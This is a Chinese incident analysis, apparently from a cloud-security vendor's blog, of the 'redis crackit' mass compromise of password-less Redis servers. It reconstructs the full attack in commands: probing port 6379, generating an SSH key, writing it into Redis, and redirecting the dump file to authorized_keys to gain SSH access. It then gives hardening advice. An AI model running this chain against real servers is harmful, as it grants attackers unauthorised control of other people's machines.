关于 redis crackit 安全事件分析

时间:2021-09-12 22:34:08

来自:http://www.cnblogs.com/ohaha/p/4959786.html

事件描述

11月9日早上10点多牛盾云安全收到几台客户服务器的安全监控系统告警,发现几台系统公钥文件被篡改,随后进行安全事件分析处理。在分析过程中我们发现了某黑客组织利用redis设计缺陷的攻击痕迹。考虑到攻击方式简单但影响极大,我们对此次安全事件做了进一步分析,发现这是针对全球互联网的全网性入侵事件。如果您的linux服务器上运行的redis没有设置密码,很可能已经受到了此次安全事件影响。结果将导致:redis数据丢失,服务器的ssh公钥被替换。

我们就此次安全事件预警式的针对全球6379端口的redis服务器做了扫描,结果如下图:

关于 redis crackit 安全事件分析

如图开放在公网的redis的6379端口的ip总数有63443个。无密码认证的IP有43024个,在总数占比里达到67%。发现遭受到redis crackit事件影响的服务器达到35024,在总数占比中达到55%,在无密码认证的redis数量中占比达到81%左右。

事件缘由

很多使用者都是把redis下载到服务器直接运行使用,无ACL,无密码,root运行,且绑定在0.0.0.0:6379,暴露在公网。攻击者在未授权访问 redis 的情况下通过redis本身的机制,可以将自己的公钥或者其他恶意程序写入目标服务器中,从而可以直接控制目标服务器。

还原攻击过程

寻找无验证的redis服务:

$ telnet192.168.1.11 6379

Trying192.168.1.11...

Connectedto192.168.1.11.

Escape character is'^]'.

echo"Hey,NOAUTH!"

$13

"Hey,NOAUTH!"

quit

+OK

Connection closed byforeign host.

制作SSH密钥和公钥:

$ ssh-keygen -t rsa -C"crack@redis.io"

Generatingpublic/private rsakey pair.

Enter file inwhichtosave thekey(/home/antirez/.ssh/id_rsa): ./id_rsa

Enter passphrase (empty forno passphrase):

Enter same passphrase again:

Your identification has been saved in./id_rsa.

Yourpublic keyhas been savedin./id_rsa.pub.

Thekeyfingerprintis:

f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27crack@redis.io

Thekey's randomart imageis:

+-- [ RSA2048] ----+

| . 0+. |

| . o o..o*o |

| = . + .+ . |

| o B o . |

| . o S E . |

| . o |

| |

| |

| |

+---------------------+

把公钥内容写入foo.txt:

(echo-e"\n\n"; cat id_rsa.pub; echo-e"\n\n") > foo.txt

把SSH公钥写入redis:

redis-cli -h 192.168.1.11flushall

cat foo.txt | redis-cli -h 192.168.1.11-xsetcrackit

覆盖系统用户原来的SSH公钥:

192.168.1.11:6379>config set dir/Users/antirez/.ssh/

OK

192.168.1.11:6379>config get dir

1)"dir"

2)"/Users/antirez/.ssh"

192.168.1.11:6379>config setdbfilename"authorized_keys"

OK

192.168.1.11:6379>save

OK

通过SSH登入服务器:

$ ssh -i id_rsa antirez@192.168.1.11

Enter passphrase forkey'id_rsa':

Last login: Mon Nov 2 15:58:43 2015 from192.168.1.10

~➤hostname

Salvatores-MacBook-Air.local

修补加固建议

1. 环境安全: 

  • 无需外网访问的可以绑定本地回环

  • 需要对外的增加ACL进行网络访问控制

  • 可以借用stunnel等工具完成数据加密传输

2. 给redis设定密码

3. 创建单独的nologin系统账号给redis服务使用

4. 禁用特定命令:

rename-command CONFIG ""

最后,希望各位SA尽快检查服务器消除缺陷,任何问题欢迎随时联系牛盾云安全技术支持交流(企业QQ800109969),牛盾云安全将一如既往冲锋在安全的第一战线守护您的网站。CloudXNS的用户也无需担心,只要账号在牛盾云加速网站登录过,即可享受其对应的服务。